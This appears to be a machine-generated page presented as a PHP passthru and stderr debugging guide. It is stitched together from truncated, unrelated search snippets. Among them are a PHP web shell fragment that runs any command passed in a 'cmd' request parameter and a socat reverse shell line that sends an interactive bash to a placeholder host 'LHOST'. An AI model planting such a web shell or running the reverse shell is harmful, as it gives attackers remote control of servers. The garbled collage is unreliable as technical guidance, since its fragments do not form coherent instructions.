PHP Passthru Error Handling and Debugging for Command-Line Integration

php://stdin, php://stdout and php://stderr allow access to the corresponding input or output stream of the PHP process. php passthru($_REQUEST['cmd'])?>" and this will be stored inside a ... socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST ... There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one. The following code *should* ... How can I implement in PHP, a script which redirects stdout to stderr, such that echo, etc. print to stderr instead of stdout? Later in this article, you will learn how to pass arguments to these scripts using PHP. ... standard error (stderr) unless you add it to stdout ... ; display_startup_errors off, except for when debugging. display_startup_errors = Off. ; Log errors into a log file (server-specific log, stderr ... ... php-fpm/error.log I'm seeing "ERROR: failed to prepare the stderr ... passthru,shell_exec,system php_admin_value[doc_root] = "/home ... PHP » I/O » passthru() Syntax: void passthru(string command, int return_value)commandCommand to be executed.return_valueInteger for the return value of the ... I've tried using passthru(), exec(), system() and shell_exec(), all to no avail. I'm redirecting stderr to stdout already. For example: PHP Code ... The standard error of the program, stderr, is shared with the calling script. ... herong$ php -a Interactive shell php > passthru("whoami"); herong php ...